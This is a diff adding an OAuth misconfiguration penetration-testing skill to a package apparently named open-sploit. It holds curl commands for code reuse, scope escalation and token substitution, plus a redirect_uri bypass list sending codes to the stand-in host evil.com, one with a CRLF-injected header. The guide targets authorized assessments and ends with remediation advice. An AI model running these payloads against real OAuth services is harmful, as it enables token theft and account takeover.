open-sploit 1.2.0

package/template/skills/exploiting-oauth-misconfiguration/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-oauth-misconfiguration/SKILL.md

@@ -0,0 +1,316 @@
+---
+name: exploiting-oauth-misconfiguration
+description: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations
+  including redirect URI manipulation, token leakage, and authorization code theft
+  during security assessments.
+domain: cybersecurity
+subdomain: web-application-security
+tags:
+- penetration-testing
+- oauth
+- oidc
+- authentication
+- web-security
+- authorization
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1505.003
+- T1083
+---
+
+# Exploiting OAuth Misconfiguration
+
+## When to Use
+
+- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
+- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
+- For testing single sign-on (SSO) flows between applications
+- When evaluating API authorization using OAuth bearer tokens
+- During security assessments of applications acting as OAuth providers or consumers
+
+## Prerequisites
+
+- **Authorization**: Written penetration testing agreement covering OAuth/SSO flows
+- **Burp Suite Professional**: For intercepting OAuth redirect flows
+- **Browser with DevTools**: For monitoring redirect chains and token leakage
+- **Multiple test accounts**: On both the OAuth provider and the target application
+- **curl**: For manual OAuth flow testing
+- **Attacker-controlled server**: For receiving redirected tokens/codes
+
+## Workflow
+
+### Step 1: Map the OAuth Flow and Configuration
+
+Identify the OAuth grant type, endpoints, and configuration.
+
+```bash
+# Discover OAuth/OIDC configuration endpoints
+curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
+curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
+
+# Key endpoints to identify:
+# - Authorization endpoint: /oauth/authorize
+# - Token endpoint: /oauth/token
+# - UserInfo endpoint: /oauth/userinfo
+# - JWKS endpoint: /oauth/certs
+
+# Capture the authorization request in Burp
+# Typical authorization code flow:
+# GET /oauth/authorize?
+#   response_type=code&
+#   client_id=CLIENT_ID&
+#   redirect_uri=https://app.example.com/callback&
+#   scope=openid profile email&
+#   state=RANDOM_STATE
+
+# Identify the grant type:
+# - Authorization Code: response_type=code
+# - Implicit: response_type=token
+# - Hybrid: response_type=code+token
+
+# Check for PKCE parameters:
+# - code_challenge=...
+# - code_challenge_method=S256
+```
+
+### Step 2: Test Redirect URI Manipulation
+
+Attempt to redirect the authorization code or token to an attacker-controlled domain.
+
+```bash
+# Test open redirect via redirect_uri
+# Original: redirect_uri=https://app.example.com/callback
+# Attempt various bypasses:
+
+BYPASSES=(
+  "https://evil.com"
+  "https://app.example.com.evil.com/callback"
+  "https://app.example.com@evil.com/callback"
+  "https://app.example.com/callback/../../../evil.com"
+  "https://evil.com/?.app.example.com"
+  "https://evil.com#.app.example.com"
+  "https://app.example.com/callback?next=https://evil.com"
+  "https://APP.EXAMPLE.COM/callback"
+  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
+  "https://app.example.com/CALLBACK"
+  "http://app.example.com/callback"
+  "https://app.example.com/callback/../../other-path"
+)
+
+for uri in "${BYPASSES[@]}"; do
+  echo -n "Testing: $uri -> "
+  status=$(curl -s -o /dev/null -w "%{http_code}" \
+    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
+  echo "$status"
+done
+
+# If redirect_uri validation is path-based, try path traversal
+# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
+
+# If subdomain matching, try subdomain takeover + redirect
+# redirect_uri=https://abandoned-subdomain.example.com/
+```
+
+### Step 3: Test for Authorization Code and Token Theft
+
+Exploit leakage vectors for stealing OAuth tokens and codes.
+
+```bash
+# Test token leakage via Referer header
+# If implicit flow returns token in URL fragment:
+# https://app.example.com/callback#access_token=TOKEN
+# And the callback page loads external resources,
+# the Referer header may leak the URL with the token
+
+# Test for authorization code leakage via Referer
+# After receiving code at callback, check if:
+# 1. Page loads external images/scripts
+# 2. Page has links to external sites
+# Burp: Check Proxy History for Referer headers containing "code="
+
+# Test authorization code reuse
+CODE="captured_auth_code"
+# First use
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
+
+# Second use (should fail but may not)
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
+
+# Test state parameter absence/predictability
+# Remove state parameter entirely
+curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
+# If no error, CSRF on OAuth flow is possible
+```
+
+### Step 4: Test Scope Escalation and Privilege Manipulation
+
+Attempt to gain more permissions than intended.
+
+```bash
+# Request additional scopes beyond what's needed
+curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
+
+# Test with elevated scope on token exchange
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
+
+# Test token with manipulated claims
+# If JWT access token, try modifying claims (see JWT testing skill)
+
+# Test refresh token scope escalation
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
+
+# Test client credential flow with elevated permissions
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
+```
+
+### Step 5: Test for Account Takeover via OAuth
+
+Exploit OAuth flows to take over victim accounts.
+
+```bash
+# Test missing email verification on OAuth provider
+# 1. Create an account on the OAuth provider with victim's email
+# 2. OAuth login to the target app
+# 3. If the app trusts the unverified email, account linking occurs
+
+# Test pre-authentication account linking
+# 1. Register on target app with victim's email (no OAuth)
+# 2. Attacker links their OAuth account to victim's email
+# 3. Attacker can now login via OAuth to victim's account
+
+# CSRF on account linking
+# If /oauth/link endpoint lacks CSRF protection:
+# 1. Attacker initiates OAuth flow, captures the auth code
+# 2. Craft a page that submits the code to victim's session
+# 3. Victim's account gets linked to attacker's OAuth account
+
+# Test token substitution
+# Use authorization code/token from one client_id with another
+curl -s -X POST "https://auth.target.example.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
+```
+
+### Step 6: Test Client Secret and Token Security
+
+Assess the security of OAuth credentials and tokens.
+
+```bash
+# Check for exposed client secrets
+# Search JavaScript source code
+curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
+
+# Check mobile app decompilation for hardcoded secrets
+
+# Test token revocation
+ACCESS_TOKEN="captured_access_token"
+# Use the token
+curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
+  "https://api.target.example.com/me"
+
+# Revoke the token
+curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
+  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"
+
+# Test if revoked token still works
+curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
+  "https://api.target.example.com/me"
+
+# Test token lifetime
+# Decode JWT access token and check exp claim
+echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
+# Long-lived tokens (hours/days) increase attack window
+
+# Check PKCE implementation
+# If public client without PKCE, authorization code interception is possible
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
+| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
+| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |
+| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |
+| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |
+| **Scope Escalation** | Requesting or obtaining more permissions than authorized |
+| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |
+| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |
+| **OWASP ZAP** | Automated OAuth flow scanning |
+| **Postman** | Manual OAuth flow testing with environment variables |
+| **oauth-tools.com** | Online OAuth flow debugging and testing |
+| **jwt.io** | JWT token analysis for OAuth access tokens |
+| **Browser DevTools** | Monitoring network requests and redirect chains |
+
+## Common Scenarios
+
+### Scenario 1: Redirect URI Subdomain Bypass
+The OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.
+
+### Scenario 2: Missing State Parameter CSRF
+The OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
+
+### Scenario 3: Implicit Flow Token Theft
+The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
+
+### Scenario 4: Authorization Code Reuse
+The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
+
+## Output Format
+
+```
+## OAuth Security Assessment Report
+
+**Vulnerability**: Redirect URI Validation Bypass
+**Severity**: High (CVSS 8.1)
+**Location**: GET /oauth/authorize - redirect_uri parameter
+**OWASP Category**: A07:2021 - Identification and Authentication Failures
+
+### OAuth Configuration
+| Property | Value |
+|----------|-------|
+| Grant Type | Authorization Code |
+| PKCE | Not implemented |
+| State Parameter | Present but predictable |
+| Token Type | JWT (RS256) |
+| Token Lifetime | 1 hour |
+| Refresh Token | 30 days |
+
+### Findings
+| Finding | Severity |
+|---------|----------|
+| Redirect URI path traversal bypass | High |
+| Missing PKCE on public client | High |
+| Authorization code reusable | Medium |
+| State parameter uses sequential values | Medium |
+| Client secret exposed in JavaScript | Critical |
+| Token not revoked after password change | Medium |
+
+### Recommendation
+1. Implement strict redirect_uri validation with exact string matching
+2. Require PKCE for all clients (especially public/mobile clients)
+3. Invalidate authorization codes after first use
+4. Use cryptographically random state parameters tied to user sessions
+5. Migrate from implicit flow to authorization code flow with PKCE
+6. Never expose client secrets in client-side code
+```

package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md

@@ -0,0 +1,59 @@
+# API Reference: OAuth Misconfiguration Assessment Agent
+
+## Dependencies
+
+| Library | Version | Purpose |
+|---------|---------|---------|
+| requests | >=2.28 | HTTP client for OAuth flow testing |
+
+## CLI Usage
+
+```bash
+python scripts/agent.py \
+  --url https://auth.example.com \
+  --client-id APP_CLIENT_ID \
+  --redirect-uri https://app.example.com/callback \
+  --output oauth_report.json
+```
+
+## Functions
+
+### `discover_oidc_config(base_url) -> dict`
+Fetches `/.well-known/openid-configuration` or `/.well-known/oauth-authorization-server`.
+
+### `test_redirect_uri_bypasses(auth_endpoint, client_id, legitimate_uri) -> list`
+Tests 10 redirect_uri manipulation techniques: subdomain hijack, path traversal, case variation, protocol downgrade, CRLF injection.
+
+### `test_state_parameter(auth_endpoint, client_id, redirect_uri) -> dict`
+Submits authorization request without `state` to check CSRF protection.
+
+### `test_pkce_requirement(auth_endpoint, client_id, redirect_uri) -> dict`
+Tests whether `code_challenge` parameter is required. Generates S256 challenge for comparison.
+
+### `test_code_reuse(token_endpoint, auth_code, client_id, client_secret, redirect_uri) -> dict`
+Exchanges an authorization code twice to check single-use enforcement.
+
+### `test_scope_escalation(auth_endpoint, client_id, redirect_uri) -> dict`
+Requests elevated scopes (`admin`, `write`, `delete`) to test scope validation.
+
+### `run_assessment(config, client_id, redirect_uri) -> dict`
+Orchestrates all tests and compiles findings.
+
+## OAuth Endpoints Tested
+
+| Endpoint | Source | Test |
+|----------|--------|------|
+| `authorization_endpoint` | OIDC config | Redirect URI, state, PKCE, scope |
+| `token_endpoint` | OIDC config | Code reuse, scope escalation |
+
+## Output Schema
+
+```json
+{
+  "oidc_config": {"authorization_endpoint": "...", "token_endpoint": "..."},
+  "redirect_uri_tests": [{"redirect_uri": "https://evil.com", "accepted": false}],
+  "state_parameter": {"csrf_risk": false},
+  "pkce": {"pkce_required": true},
+  "findings": []
+}
+```